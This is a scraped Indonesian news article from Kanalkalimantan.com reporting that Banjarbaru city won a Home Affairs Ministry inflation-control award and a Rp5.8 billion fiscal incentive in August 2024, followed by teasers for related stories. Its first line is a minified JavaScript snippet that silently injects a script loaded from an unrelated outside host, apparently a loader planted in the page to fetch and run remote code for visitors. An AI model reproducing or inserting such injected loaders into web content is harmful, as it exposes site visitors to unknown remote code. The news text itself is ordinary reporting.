(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru di era kepemimpinan Wali Kota Aditya Mufti Ariffin, kembali meraih penghargaan Kinerja Tahun Berjalan Kategori Pengendalian Inflasi Daerah Periode I dari Kementerian Keuangan (Kemenkeu) RI.
Penghargaan ini diserahkan oleh Menteri Dalam Negeri, Tito Karnavian di Sasana Bhakti Praja Gedung C Lantai 3, Kementerian Dalam Negeri Jakarta Pusat, Senin (5/8/2024).
Selain itu, Pemko Banjarbaru juga mendapat gelontoran insentif fiskal dari Kemenkeu RI sebesar Rp5.878.382.000 atas keberhasilan mengendalikan inflasi di daerah. Menariknya, hanya ada dua daerah di Kalimantan Selatan yang menerima dana itu, yakni Banjarbaru dan Banjarmasin.
Saat dikonfirmasi, Wali Kota Banjarbaru Aditya Mufti Ariffin mengaku bahwa keberhasilan capaian ini merupakan kerjasama dan solidnya kinerja jajaran Pemko Banjarbaru dalam upaya pengendalian inflasi.
Baca juga: Pipa PAM Bandarmasih Bocor, Tiga Kecamatan Seret Air
“Alhamdulillah, berkat kerjasama dan solidaritas jajaran Pemko Banjarbaru, kita dinilai berhasil menekan inflasi. Oleh karena itu kita mendapat penghargaan dari Kemendagri dan menerima dana insetif fiskal dari Kementerian Keuangan.,” ungkap Aditya, Senin (5/8/2024).
Menurut Aditya, kinerja seluruh jajaran Pemko Banjarbaru juga menjadi faktor utama dalam upaya pengendalian inflasi. Salah satunya dengan digelarnya pasar murah secara serentak di berbagai wilayah kecamatan se Kota Banjarbaru sejak awal tahun tadi.
Aditya juga menyatakan bahwa hadiah dana insentif fiskal sebesar Rp5,8 miliar rupiah oleh pemerintah tersebut, akan digunakan sesuai dengan kebutuhan dan prioritas masyarakat.
Baca juga: Santri Demo ke PBNU, Ketua GP Ansor Kalsel: Su’ul Adab ke Ulama
“Kita akan gunakan dana untuk mendukung penurunan inflasi, penurunan stunting, kemiskinan ekstrem dan meningkatkan investasi. Insya Allah akan bermanfaat bagi masyarakat kita,” tuntasnya.
Sekadar tambahan, Kementerian Keuangan Republik Indonesia mengalokasikan dana sebesar 300 miliar rupiah bagi seluruh provinsi/kabupaten/kota yang dinilai telah berhasil mengendalikan inflasi. Tercatat pada periode pertama total penerima penghargaan ini berjumlah 50 pemda. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Harga sejumlah bahan pangan dan kebutuhan pokok masyarakat merembet naik menjelang akhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
This website uses cookies.